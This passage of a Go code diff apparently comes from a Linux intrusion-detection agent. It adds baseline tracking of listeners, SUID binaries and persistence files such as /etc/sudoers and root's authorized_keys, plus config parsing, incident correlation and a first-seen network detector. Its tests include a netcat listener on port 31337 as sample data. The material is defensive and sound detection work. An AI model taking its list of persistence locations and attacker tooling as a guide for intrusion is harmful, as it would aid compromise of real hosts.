status := sweep[0]["status"].(schema.Status)
if len(first) != 1 || len(second) != 0 {
t.Fatalf("async cooldown mismatch: first=%d second=%d", len(first), len(second))
}
if status.EBPF != "enabled" || status.EBPFExec != "enabled" || status.EBPFSyscall != "disabled (test)" {
t.Fatalf("unexpected probe status: %#v", status)
}
}
func TestSweepPreservesPythonDetectorOrder(t *testing.T) {
agent := New(config.Default(), func() (model.State, error) {
return model.State{

View file

@ -0,0 +1,298 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package baseline owns the state that makes baseline-diff detectors useful
// outside the deterministic parity fixture. It deliberately stops short of
// forensic alert snapshots; bounded envelope retention belongs to eventlog.
package baseline
import (
"encoding/json"
"fmt"
"io/fs"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const firstSeenSchema = "enodia.first_seen.v1"
// CaptureFunc and ScanSUIDFunc keep host collection injectable. Unit tests can
// exercise the full lifecycle without reading the real /proc or filesystem.
type CaptureFunc func() (model.State, error)
type ScanSUIDFunc func() []string
type firstSeenStore struct {
Schema string `json:"schema"`
Initialized bool `json:"initialized"`
PublicDestinations map[string][]string `json:"public_destinations"`
ListenerPorts map[string][]string `json:"listener_ports"`
}
// Manager decorates each captured State with the previous-sweep and durable
// baseline views expected by Python's four baseline detectors.
type Manager struct {
Config config.Config
Now func() time.Time
ScanSUID ScanSUIDFunc
mu sync.Mutex
initialized bool
started time.Time
lastPersistScan time.Time
lastSUIDScan time.Time
lastSUIDRefresh time.Time
suidScanRunning bool
listenerBaseline []string
suidBaseline []string
suidCurrent []string
firstSeen firstSeenStore
}
func New(cfg config.Config, scanSUID ScanSUIDFunc) *Manager {
return &Manager{Config: cfg, Now: time.Now, ScanSUID: scanSUID}
}
// Initialize snapshots startup listeners and privileged files. As in Python,
// startup state becomes the baseline; stored listener/SUID files are operator
// artifacts, not inputs reloaded on daemon restart.
func (m *Manager) Initialize(capture CaptureFunc) error {
if capture == nil {
return fmt.Errorf("baseline capture is required")
}
started := m.Now()
state, err := capture()
if err != nil {
return err
}
listeners := listenerKeys(state.Sockets)
var suid []string
if m.ScanSUID != nil {
suid = sortedUnique(m.ScanSUID())
}
if err := os.MkdirAll(m.Config.LogDir, 0o750); err != nil {
return err
}
if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "listener-baseline.json"), listeners); err != nil {
return err
}
if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), suid); err != nil {
return err
}
firstSeen := loadFirstSeen(filepath.Join(m.Config.LogDir, "first-seen.json"))
m.mu.Lock()
defer m.mu.Unlock()
m.initialized = true
m.started = started
m.lastPersistScan = started
m.lastSUIDRefresh = started
m.listenerBaseline = listeners
m.suidBaseline = suid
m.suidCurrent = nil
m.firstSeen = firstSeen
return nil
}
// Prepare injects baseline state immediately before detectors run. During the
// grace window every baseline detector stays inert, matching the registry-wide
// listener_baseline gate in Python.
func (m *Manager) Prepare(state *model.State, now time.Time) error {
if state == nil {
return fmt.Errorf("baseline state is required")
}
m.mu.Lock()
if !m.initialized {
m.mu.Unlock()
return fmt.Errorf("baseline manager is not initialized")
}
armed := now.Sub(m.started) >= m.Config.BaselineGrace
if !armed {
state.ListenerBaseline = nil
state.SUIDBaseline = nil
state.SUIDBinaries = nil
state.PersistSince = nil
state.PersistenceFiles = nil
state.FirstSeenPublicDestinations = nil
state.FirstSeenListenerPorts = nil
m.mu.Unlock()
return nil
}
state.ListenerBaseline = append([]string(nil), m.listenerBaseline...)
state.SUIDBaseline = append([]string(nil), m.suidBaseline...)
if m.suidCurrent != nil {
state.SUIDBinaries = append([]string(nil), m.suidCurrent...)
}
since := float64(m.lastPersistScan.UnixNano()) / float64(time.Second)
state.PersistSince = &since
state.FirstSeenInitialized = m.firstSeen.Initialized
state.FirstSeenPublicDestinations = cloneStringMap(m.firstSeen.PublicDestinations)
state.FirstSeenListenerPorts = cloneStringMap(m.firstSeen.ListenerPorts)
m.maybeStartSUIDScanLocked(now)
m.mu.Unlock()
// Filesystem walking can be slower than copying the small durable stores,
// but it is bounded to explicitly configured persistence roots and remains
// fail-open per entry.
state.PersistenceFiles = collectPersistenceFiles(m.Config.WatchPersistence)
return nil
}
// Commit advances the previous-sweep timestamp only after detection and saves
// first-seen additions atomically. This ordering prevents changes observed in
// the current sweep from being skipped by the next one.
func (m *Manager) Commit(state model.State, now time.Time) error {
m.mu.Lock()
defer m.mu.Unlock()
if !m.initialized {
return fmt.Errorf("baseline manager is not initialized")
}
m.lastPersistScan = now
if now.Sub(m.started) < m.Config.BaselineGrace || !m.Config.Enabled("first_seen") {
return nil
}
m.firstSeen = firstSeenStore{
Schema: firstSeenSchema,
Initialized: true,
PublicDestinations: cloneStringMap(state.FirstSeenPublicDestinations),
ListenerPorts: cloneStringMap(state.FirstSeenListenerPorts),
}
return writeJSONAtomic(filepath.Join(m.Config.LogDir, "first-seen.json"), m.firstSeen)
}
func (m *Manager) maybeStartSUIDScanLocked(now time.Time) {
if m.ScanSUID == nil || m.suidScanRunning ||
(!m.lastSUIDScan.IsZero() && now.Sub(m.lastSUIDScan) < m.Config.SUIDScanInterval) {
return
}
m.lastSUIDScan = now
m.suidScanRunning = true
go func() {
result := sortedUnique(m.ScanSUID())
finished := m.Now()
m.mu.Lock()
defer m.mu.Unlock()
m.suidCurrent = result
m.suidScanRunning = false
if finished.Sub(m.lastSUIDRefresh) < m.Config.SUIDRefresh {
return
}
// Periodic folding matches Python: a legitimately installed privileged
// binary eventually becomes baseline instead of alerting forever.
m.suidBaseline = append([]string(nil), result...)
m.lastSUIDRefresh = finished
_ = writeJSONAtomic(filepath.Join(m.Config.LogDir, "suid-baseline.json"), result)
}()
}
func listenerKeys(sockets []model.Socket) []string {
keys := make([]string, 0)
for _, socket := range sockets {
if socket.State != "LISTEN" {
continue
}
port := socket.Local
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
port = socket.Local[index+1:]
}
comm := socket.Comm
if comm == "" {
comm = "?"
}
keys = append(keys, port+"/"+comm)
}
return sortedUnique(keys)
}
func collectPersistenceFiles(roots []string) map[string]float64 {
result := make(map[string]float64)
for _, root := range roots {
info, err := os.Lstat(root)
if err != nil {
continue
}
if !info.IsDir() {
result[root] = float64(info.ModTime().UnixNano()) / float64(time.Second)
continue
}
_ = filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error {
if err != nil {
return nil
}
if entry.IsDir() {
return nil
}
info, err := os.Lstat(path)
if err == nil {
result[path] = float64(info.ModTime().UnixNano()) / float64(time.Second)
}
return nil
})
}
return result
}
func loadFirstSeen(path string) firstSeenStore {
store := firstSeenStore{
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
ListenerPorts: map[string][]string{},
}
raw, err := os.ReadFile(path)
if err != nil || json.Unmarshal(raw, &store) != nil {
return firstSeenStore{
Schema: firstSeenSchema, PublicDestinations: map[string][]string{},
ListenerPorts: map[string][]string{},
}
}
store.Schema = firstSeenSchema
if store.PublicDestinations == nil {
store.PublicDestinations = map[string][]string{}
}
if store.ListenerPorts == nil {
store.ListenerPorts = map[string][]string{}
}
return store
}
func writeJSONAtomic(path string, value any) error {
raw, err := json.MarshalIndent(value, "", " ")
if err != nil {
return err
}
raw = append(raw, '\n')
temporary := path + ".tmp"
if err := os.WriteFile(temporary, raw, 0o640); err != nil {
return err
}
if err := os.Rename(temporary, path); err != nil {
return err
}
return os.Chmod(path, 0o640)
}
func cloneStringMap(source map[string][]string) map[string][]string {
result := make(map[string][]string, len(source))
for key, values := range source {
result[key] = append([]string(nil), values...)
}
return result
}
func sortedUnique(values []string) []string {
seen := make(map[string]bool, len(values))
result := make([]string, 0, len(values))
for _, value := range values {
if !seen[value] {
seen[value] = true
result = append(result, value)
}
}
sort.Strings(result)
return result
}

View file

@ -0,0 +1,97 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package baseline
import (
"encoding/json"
"os"
"path/filepath"
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestManagerGraceAndDurableFirstSeenLifecycle(t *testing.T) {
directory := t.TempDir()
watched := filepath.Join(directory, "cron-entry")
if err := os.WriteFile(watched, []byte("job"), 0o600); err != nil {
t.Fatal(err)
}
start := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
now := start
cfg := config.Default()
cfg.LogDir = directory
cfg.BaselineGrace = 10 * time.Second
cfg.WatchPersistence = []string{watched}
manager := New(cfg, func() []string { return []string{"/usr/bin/sudo"} })
manager.Now = func() time.Time { return now }
p := 42
capture := func() (model.State, error) {
return model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: "[::]:22", Comm: "sshd", PID: &p,
}}}, nil
}
if err := manager.Initialize(capture); err != nil {
t.Fatal(err)
}
now = start.Add(5 * time.Second)
state := model.State{}
if err := manager.Prepare(&state, now); err != nil {
t.Fatal(err)
}
if state.ListenerBaseline != nil || state.PersistSince != nil {
t.Fatalf("baseline detectors armed during grace: %#v", state)
}
if err := manager.Commit(state, now); err != nil {
t.Fatal(err)
}
now = start.Add(11 * time.Second)
state = model.State{}
if err := manager.Prepare(&state, now); err != nil {
t.Fatal(err)
}
if len(state.ListenerBaseline) != 1 || state.ListenerBaseline[0] != "22/sshd" {
t.Fatalf("unexpected listener baseline: %#v", state.ListenerBaseline)
}
if state.PersistSince == nil || *state.PersistSince != float64(start.Add(5*time.Second).Unix()) {
t.Fatalf("unexpected persistence boundary: %#v", state.PersistSince)
}
state.FirstSeenPublicDestinations["bash"] = []string{"8.8.8.8:443"}
state.FirstSeenListenerPorts["nc"] = []string{"31337"}
if err := manager.Commit(state, now); err != nil {
t.Fatal(err)
}
raw, err := os.ReadFile(filepath.Join(directory, "first-seen.json"))
if err != nil {
t.Fatal(err)
}
var stored firstSeenStore
if err := json.Unmarshal(raw, &stored); err != nil {
t.Fatal(err)
}
if !stored.Initialized || stored.PublicDestinations["bash"][0] != "8.8.8.8:443" {
t.Fatalf("unexpected first-seen store: %#v", stored)
}
for _, name := range []string{"listener-baseline.json", "suid-baseline.json"} {
if _, err := os.Stat(filepath.Join(directory, name)); err != nil {
t.Fatalf("missing %s: %v", name, err)
}
}
}
func TestLoadFirstSeenFailsOpenOnCorruptStore(t *testing.T) {
path := filepath.Join(t.TempDir(), "first-seen.json")
if err := os.WriteFile(path, []byte("{"), 0o600); err != nil {
t.Fatal(err)
}
store := loadFirstSeen(path)
if store.Initialized || store.Schema != firstSeenSchema ||
store.PublicDestinations == nil || store.ListenerPorts == nil {
t.Fatalf("unexpected fallback: %#v", store)
}
}

View file

@ -53,18 +53,33 @@ var defaultMemoryObfuscationAllowComms = []string{
// Config mirrors the Phase 1 settings consumed by the Go sweep loop. More
// fields are added as their detectors are ported.
type Config struct {
SampleInterval time.Duration
HeartbeatMaxAge int
Detectors map[string]bool
InputSnooperAllowComms map[string]bool
CredentialAccessAllowComms map[string]bool
CredentialAccessExtraPaths []string
Interpreters map[string]bool
EgressAllowCIDRs []string
StealthNetworkAllowComms map[string]bool
StealthNetworkAllowKinds map[string]bool
MemoryObfuscationAllowComms map[string]bool
MemoryObfuscationAllowPaths []string
SampleInterval time.Duration
Cooldown time.Duration
BaselineGrace time.Duration
SUIDRefresh time.Duration
SUIDScanInterval time.Duration
HeartbeatMaxAge int
MaxSnapshots int
MaxSnapshotAgeDays int
Detectors map[string]bool
InputSnooperAllowComms map[string]bool
CredentialAccessAllowComms map[string]bool
CredentialAccessExtraPaths []string
Interpreters map[string]bool
EgressAllowCIDRs []string
ListenerAllowPorts map[string]bool
ListenerAllowComms map[string]bool
SuppressPackageOwnedListeners bool
FirstSeenEnabled bool
SUIDHotDirs []string
SUIDScanExtraDirs []string
WatchPersistence []string
StealthNetworkAllowComms map[string]bool
StealthNetworkAllowKinds map[string]bool
MemoryObfuscationAllowComms map[string]bool
MemoryObfuscationAllowPaths []string
ExecRulesFile string
LogDir string
}
// Default returns Python-compatible defaults for the fields currently used.
@ -74,23 +89,46 @@ func Default() Config {
detectors[name] = true
}
return Config{
SampleInterval: 4 * time.Second,
HeartbeatMaxAge: 120,
Detectors: detectors,
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
CredentialAccessExtraPaths: []string{},
Interpreters: stringSet(defaultInterpreters),
EgressAllowCIDRs: []string{},
SampleInterval: 4 * time.Second,
Cooldown: 60 * time.Second,
BaselineGrace: 10 * time.Second,
SUIDRefresh: time.Hour,
SUIDScanInterval: time.Minute,
HeartbeatMaxAge: 120,
MaxSnapshots: 300,
MaxSnapshotAgeDays: 60,
Detectors: detectors,
InputSnooperAllowComms: stringSet(defaultInputSnooperAllowComms),
CredentialAccessAllowComms: stringSet(defaultCredentialAccessAllowComms),
CredentialAccessExtraPaths: []string{},
Interpreters: stringSet(defaultInterpreters),
EgressAllowCIDRs: []string{},
ListenerAllowPorts: map[string]bool{},
ListenerAllowComms: map[string]bool{},
SuppressPackageOwnedListeners: false,
FirstSeenEnabled: true,
SUIDHotDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/home", "/run/user"},
SUIDScanExtraDirs: []string{"/tmp", "/dev/shm", "/var/tmp", "/run/user"},
WatchPersistence: []string{
"/etc/cron.d", "/etc/crontab", "/etc/cron.daily", "/etc/cron.hourly",
"/etc/cron.weekly", "/var/spool/cron", "/etc/systemd/system",
"/etc/ld.so.preload", "/etc/passwd", "/etc/sudoers", "/etc/sudoers.d",
"/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
},
StealthNetworkAllowComms: stringSet(defaultStealthNetworkAllowComms),
StealthNetworkAllowKinds: map[string]bool{},
MemoryObfuscationAllowComms: stringSet(defaultMemoryObfuscationAllowComms),
MemoryObfuscationAllowPaths: []string{},
ExecRulesFile: "",
LogDir: envOrDefault("ENODIA_LOG_DIR", "/var/log/enodia-sentinel"),
}
}
// Enabled reports whether a detector is enabled by configuration.
func (c Config) Enabled(name string) bool {
if name == "first_seen" && !c.FirstSeenEnabled {
return false
}
return c.Detectors[name]
}
@ -124,12 +162,48 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("sample_interval must be positive: %q", value)
}
cfg.SampleInterval = time.Duration(seconds * float64(time.Second))
case "cooldown":
duration, err := nonNegativeSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("cooldown: %w", err)
}
cfg.Cooldown = duration
case "baseline_grace":
duration, err := nonNegativeSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("baseline_grace: %w", err)
}
cfg.BaselineGrace = duration
case "suid_refresh":
duration, err := positiveSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("suid_refresh: %w", err)
}
cfg.SUIDRefresh = duration
case "suid_scan_interval":
duration, err := positiveSeconds(value)
if err != nil {
return Config{}, fmt.Errorf("suid_scan_interval: %w", err)
}
cfg.SUIDScanInterval = duration
case "heartbeat_max_age":
age, err := strconv.Atoi(value)
if err != nil || age < 0 {
return Config{}, fmt.Errorf("heartbeat_max_age must be non-negative: %q", value)
}
cfg.HeartbeatMaxAge = age
case "max_snapshots":
count, err := strconv.Atoi(value)
if err != nil || count < 0 {
return Config{}, fmt.Errorf("max_snapshots must be non-negative: %q", value)
}
cfg.MaxSnapshots = count
case "max_snapshot_age_days":
days, err := strconv.Atoi(value)
if err != nil || days < 0 {
return Config{}, fmt.Errorf("max_snapshot_age_days must be non-negative: %q", value)
}
cfg.MaxSnapshotAgeDays = days
case "detectors":
names, err := stringArray(value)
if err != nil {
@ -171,6 +245,48 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("egress_allow_cidrs: %w", err)
}
cfg.EgressAllowCIDRs = cidrs
case "listener_allow_ports":
ports, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("listener_allow_ports: %w", err)
}
cfg.ListenerAllowPorts = stringSet(ports)
case "listener_allow_comms":
comms, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("listener_allow_comms: %w", err)
}
cfg.ListenerAllowComms = stringSet(comms)
case "suppress_package_owned_listeners":
enabled, err := boolean(value)
if err != nil {
return Config{}, fmt.Errorf("suppress_package_owned_listeners: %w", err)
}
cfg.SuppressPackageOwnedListeners = enabled
case "first_seen_enabled":
enabled, err := boolean(value)
if err != nil {
return Config{}, fmt.Errorf("first_seen_enabled: %w", err)
}
cfg.FirstSeenEnabled = enabled
case "suid_hot_dirs":
dirs, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("suid_hot_dirs: %w", err)
}
cfg.SUIDHotDirs = dirs
case "suid_scan_extra_dirs":
dirs, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("suid_scan_extra_dirs: %w", err)
}
cfg.SUIDScanExtraDirs = dirs
case "watch_persistence":
paths, err := stringArray(value)
if err != nil {
return Config{}, fmt.Errorf("watch_persistence: %w", err)
}
cfg.WatchPersistence = paths
case "stealth_network_allow_comms":
names, err := stringArray(value)
if err != nil {
@ -195,11 +311,57 @@ func Load(path string) (Config, error) {
return Config{}, fmt.Errorf("memory_obfuscation_allow_paths: %w", err)
}
cfg.MemoryObfuscationAllowPaths = paths
case "exec_rules_file":
path, err := strconv.Unquote(value)
if err != nil {
return Config{}, fmt.Errorf("exec_rules_file must be a string: %q", value)
}
cfg.ExecRulesFile = path
case "log_dir":
path, err := strconv.Unquote(value)
if err != nil || path == "" {
return Config{}, fmt.Errorf("log_dir must be a non-empty string: %q", value)
}
cfg.LogDir = path
}
}
return cfg, nil
}
func envOrDefault(name, fallback string) string {
if value := os.Getenv(name); value != "" {
return value
}
return fallback
}
func positiveSeconds(value string) (time.Duration, error) {
seconds, err := strconv.ParseFloat(value, 64)
if err != nil || seconds <= 0 {
return 0, fmt.Errorf("must be positive: %q", value)
}
return time.Duration(seconds * float64(time.Second)), nil
}
func nonNegativeSeconds(value string) (time.Duration, error) {
seconds, err := strconv.ParseFloat(value, 64)
if err != nil || seconds < 0 {
return 0, fmt.Errorf("must be non-negative: %q", value)
}
return time.Duration(seconds * float64(time.Second)), nil
}
func boolean(value string) (bool, error) {
switch value {
case "true":
return true, nil
case "false":
return false, nil
default:
return false, fmt.Errorf("must be true or false: %q", value)
}
}
func stringSet(values []string) map[string]bool {
result := make(map[string]bool, len(values))
for _, value := range values {

View file

@ -11,7 +11,11 @@ import (
func TestDefaultsMatchPython(t *testing.T) {
cfg := Default()
if cfg.SampleInterval != 4*time.Second || cfg.HeartbeatMaxAge != 120 {
if cfg.SampleInterval != 4*time.Second || cfg.Cooldown != 60*time.Second ||
cfg.BaselineGrace != 10*time.Second ||
cfg.SUIDRefresh != time.Hour || cfg.SUIDScanInterval != time.Minute ||
cfg.HeartbeatMaxAge != 120 || cfg.MaxSnapshots != 300 ||
cfg.MaxSnapshotAgeDays != 60 || !cfg.FirstSeenEnabled {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if !cfg.Enabled("deleted_exe") {
@ -23,7 +27,13 @@ func TestLoadFlatTOMLAndMultilineDetectorArray(t *testing.T) {
path := filepath.Join(t.TempDir(), "sentinel.toml")
raw := []byte(`
sample_interval = 1.5 # seconds
cooldown = 30
baseline_grace = 2.5
suid_refresh = 120
suid_scan_interval = 15
heartbeat_max_age = 45
max_snapshots = 25
max_snapshot_age_days = 7
detectors = [
"deleted_exe",
"egress",
@ -33,10 +43,18 @@ credential_access_allow_comms = ["firefox"]
credential_access_extra_paths = ["/srv/secrets/"]
interpreters = ["bash", "python3"]
egress_allow_cidrs = ["203.0.113.0/24"]
listener_allow_ports = ["22"]
listener_allow_comms = ["syncthing"]
suppress_package_owned_listeners = true
first_seen_enabled = false
suid_hot_dirs = ["/tmp"]
suid_scan_extra_dirs = ["/dev/shm"]
watch_persistence = ["/etc/cron.d"]
stealth_network_allow_comms = ["tcpdump"]
stealth_network_allow_kinds = ["mptcp"]
memory_obfuscation_allow_comms = ["jit-runtime"]
memory_obfuscation_allow_paths = ["/tmp/known-profiler/"]
exec_rules_file = "/etc/enodia-extra-rules.toml"
unknown_future_key = true
`)
if err := os.WriteFile(path, raw, 0o600); err != nil {
@ -46,7 +64,10 @@ unknown_future_key = true
if err != nil {
t.Fatal(err)
}
if cfg.SampleInterval != 1500*time.Millisecond || cfg.HeartbeatMaxAge != 45 {
if cfg.SampleInterval != 1500*time.Millisecond || cfg.Cooldown != 30*time.Second ||
cfg.BaselineGrace != 2500*time.Millisecond ||
cfg.SUIDRefresh != 2*time.Minute || cfg.SUIDScanInterval != 15*time.Second ||
cfg.HeartbeatMaxAge != 45 || cfg.MaxSnapshots != 25 || cfg.MaxSnapshotAgeDays != 7 {
t.Fatalf("unexpected parsed config: %+v", cfg)
}
if !cfg.Enabled("deleted_exe") || !cfg.Enabled("egress") || cfg.Enabled("reverse_shell") {
@ -62,12 +83,19 @@ unknown_future_key = true
if !cfg.Interpreters["bash"] || len(cfg.EgressAllowCIDRs) != 1 {
t.Fatalf("unexpected network tuning: %#v %#v", cfg.Interpreters, cfg.EgressAllowCIDRs)
}
if !cfg.ListenerAllowPorts["22"] || !cfg.ListenerAllowComms["syncthing"] ||
!cfg.SuppressPackageOwnedListeners || cfg.FirstSeenEnabled || cfg.Enabled("first_seen") ||
len(cfg.SUIDHotDirs) != 1 || len(cfg.SUIDScanExtraDirs) != 1 ||
len(cfg.WatchPersistence) != 1 {
t.Fatalf("unexpected baseline tuning: %+v", cfg)
}
if !cfg.StealthNetworkAllowComms["tcpdump"] || !cfg.StealthNetworkAllowKinds["mptcp"] {
t.Fatalf("unexpected stealth tuning: %#v %#v",
cfg.StealthNetworkAllowComms, cfg.StealthNetworkAllowKinds)
}
if !cfg.MemoryObfuscationAllowComms["jit-runtime"] || len(cfg.MemoryObfuscationAllowPaths) != 1 ||
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" {
cfg.MemoryObfuscationAllowPaths[0] != "/tmp/known-profiler/" ||
cfg.ExecRulesFile != "/etc/enodia-extra-rules.toml" {
t.Fatalf("unexpected memory tuning: %#v %#v",
cfg.MemoryObfuscationAllowComms, cfg.MemoryObfuscationAllowPaths)
}

View file

@ -0,0 +1,92 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package correlation adds higher-confidence stories without hiding or
// replacing their raw alerts. It is transport- and persistence-independent.
package correlation
import "sort"
const SIDMultiStageIntrusion = 100080
type Incident struct {
FirstTimestamp float64 `json:"first_ts"`
LastTimestamp float64 `json:"last_ts"`
Signatures []string `json:"signatures"`
}
type Record struct {
SID int `json:"sid"`
Signature string `json:"signature"`
Classtype string `json:"classtype"`
Severity string `json:"severity"`
Summary string `json:"summary"`
WindowSeconds int `json:"window_seconds"`
MatchedSignatures []string `json:"matched_signatures"`
}
type Rule struct {
SID int
Signature string
Classtype string
Severity string
Summary string
RequiredAny []map[string]bool
MaxWindow int
}
var DefaultRules = []Rule{{
SID: SIDMultiStageIntrusion, Signature: "correlation.multi_stage_intrusion",
Classtype: "multi-stage-intrusion", Severity: "CRITICAL",
Summary: "Web/database service spawned a shell and the same incident showed " +
"suspicious egress or an unusual listener within the correlation window",
RequiredAny: []map[string]bool{
{"exec_rule.web-rce": true},
{"host_rule.suspicious-egress": true, "host_rule.suspicious-listener": true},
},
MaxWindow: 600,
}}
func Correlate(incident Incident, rules []Rule) []Record {
if rules == nil {
rules = DefaultRules
}
signatures := make(map[string]bool, len(incident.Signatures))
for _, signature := range incident.Signatures {
signatures[signature] = true
}
duration := incident.LastTimestamp - incident.FirstTimestamp
result := make([]Record, 0)
for _, rule := range rules {
if duration > float64(rule.MaxWindow) {
continue
}
matched := true
for _, choices := range rule.RequiredAny {
found := false
for choice := range choices {
if signatures[choice] {
found = true
break
}
}
if !found {
matched = false
break
}
}
if !matched {
continue
}
matchedSignatures := make([]string, 0, len(signatures))
for signature := range signatures {
matchedSignatures = append(matchedSignatures, signature)
}
sort.Strings(matchedSignatures)
result = append(result, Record{
SID: rule.SID, Signature: rule.Signature, Classtype: rule.Classtype,
Severity: rule.Severity, Summary: rule.Summary,
WindowSeconds: rule.MaxWindow, MatchedSignatures: matchedSignatures,
})
}
return result
}

View file

@ -0,0 +1,44 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package correlation
import (
"reflect"
"testing"
)
func TestCorrelateMultiStageIntrusion(t *testing.T) {
records := Correlate(Incident{
FirstTimestamp: 1000, LastTimestamp: 1050,
Signatures: []string{"host_rule.suspicious-egress", "exec_rule.web-rce"},
}, nil)
if len(records) != 1 || records[0].SID != SIDMultiStageIntrusion ||
!reflect.DeepEqual(records[0].MatchedSignatures,
[]string{"exec_rule.web-rce", "host_rule.suspicious-egress"}) {
t.Fatalf("unexpected correlation: %#v", records)
}
if records := Correlate(Incident{
FirstTimestamp: 1000, LastTimestamp: 1601,
Signatures: []string{"exec_rule.web-rce", "host_rule.suspicious-listener"},
}, nil); len(records) != 0 {
t.Fatalf("expired incident correlated: %#v", records)
}
}
func TestLineageAssignAndSeverity(t *testing.T) {
parents := map[int]int{42: 20, 20: 10, 10: 1}
lineage := LineageOf([]int{42}, func(pid int) int { return parents[pid] }, 8)
if !lineage[42] || !lineage[20] || !lineage[10] || lineage[1] {
t.Fatalf("unexpected lineage: %#v", lineage)
}
index := []IndexIncident{
{ID: "old", Host: "h", LastTimestamp: 1010, Lineage: []int{20}},
{ID: "new", Host: "h", LastTimestamp: 1020, Lineage: []int{10}},
}
if got := Assign(index, lineage, 1030, "h", 60); got != "new" {
t.Fatalf("unexpected assignment: %s", got)
}
if MaxSeverity("HIGH", "CRITICAL") != "CRITICAL" || MaxSeverity("unknown", "MEDIUM") != "MEDIUM" {
t.Fatal("severity ordering drifted")
}
}

View file

@ -0,0 +1,78 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package correlation
// LineageOf walks each starting PID through parentOf, excluding pid 0/init so
// unrelated process trees never correlate merely because they share init.
func LineageOf(pids []int, parentOf func(int) int, depth int) map[int]bool {
seen := make(map[int]bool)
for _, start := range pids {
current := start
steps := 0
for current != 0 && current != 1 && steps <= depth {
if seen[current] {
break
}
seen[current] = true
current = parentOf(current)
steps++
}
}
return seen
}
type IndexIncident struct {
ID string `json:"id"`
Host string `json:"host"`
LastTimestamp float64 `json:"last_ts"`
Lineage []int `json:"lineage"`
}
// Assign returns the most recently active incident compatible with this host
// and lineage. Empty-lineage evidence may join any open incident on the host,
// reproducing Python's fallback for FIM/package evidence without a live PID.
func Assign(index []IndexIncident, lineage map[int]bool, when float64, host string, window int) string {
best := ""
bestTimestamp := -1.0
for _, incident := range index {
if incident.Host != host || when-incident.LastTimestamp > float64(window) {
continue
}
if len(lineage) > 0 && !intersects(incident.Lineage, lineage) {
continue
}
if incident.LastTimestamp > bestTimestamp {
best, bestTimestamp = incident.ID, incident.LastTimestamp
}
}
return best
}
func MaxSeverity(left, right string) string {
if severityRank(left) >= severityRank(right) {
return left
}
return right
}
func severityRank(value string) int {
switch value {
case "MEDIUM":
return 1
case "HIGH":
return 2
case "CRITICAL":
return 3
default:
return 0
}
}
func intersects(values []int, wanted map[int]bool) bool {
for _, value := range values {
if wanted[value] {
return true
}
}
return false
}

View file

@ -0,0 +1,95 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"sort"
"strconv"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
)
// FirstSeen ports the Python first_seen detector (SIDs 100074 and 100075).
// Baseline state is injected for now; durable local storage belongs to a later
// sidecar persistence tranche.
func FirstSeen(state model.State, cfg config.Config) []model.Alert {
if !cfg.Enabled("first_seen") ||
state.FirstSeenPublicDestinations == nil ||
state.FirstSeenListenerPorts == nil {
return []model.Alert{}
}
alerts := make([]model.Alert, 0)
for _, socket := range state.Sockets {
comm := socket.Comm
if comm == "" {
comm = "?"
}
if socket.State == "ESTAB" {
host, port := netutil.SplitHostPort(socket.Peer)
target := host + ":" + port
if netutil.IsPublicIP(host) && port != "" &&
!contains(state.FirstSeenPublicDestinations[comm], target) {
// Record before considering whether to alert. The first armed pass
// learns silently, and duplicate sockets in one sweep must not emit
// duplicate rarity alerts.
state.FirstSeenPublicDestinations[comm] = append(
state.FirstSeenPublicDestinations[comm], target)
sort.Strings(state.FirstSeenPublicDestinations[comm])
if state.FirstSeenInitialized {
alerts = append(alerts, model.Alert{
SID: 100074, Severity: "MEDIUM",
Signature: "first_public_destination", Classtype: "network-rarity",
Key: "firstdest:" + comm + ":" + target,
Detail: fmt.Sprintf("comm=%s first public destination %s", comm, target),
PIDs: alertPIDs(socket.PID),
})
}
}
}
if (socket.State == "LISTEN" || socket.State == "UNCONN") &&
(socket.Kind == "tcp" || socket.Kind == "udp" || socket.Kind == "") {
_, port := netutil.SplitHostPort(socket.Local)
if port != "" && port != "0" && isDigits(port) &&
!contains(state.FirstSeenListenerPorts[comm], port) {
state.FirstSeenListenerPorts[comm] = append(
state.FirstSeenListenerPorts[comm], port)
sort.Slice(state.FirstSeenListenerPorts[comm], func(i, j int) bool {
left, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][i])
right, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][j])
return left < right
})
if state.FirstSeenInitialized {
alerts = append(alerts, model.Alert{
SID: 100075, Severity: "MEDIUM",
Signature: "first_listener_port", Classtype: "network-rarity",
Key: "firstlisten:" + comm + ":" + port,
Detail: fmt.Sprintf("comm=%s first listening port %s", comm, port),
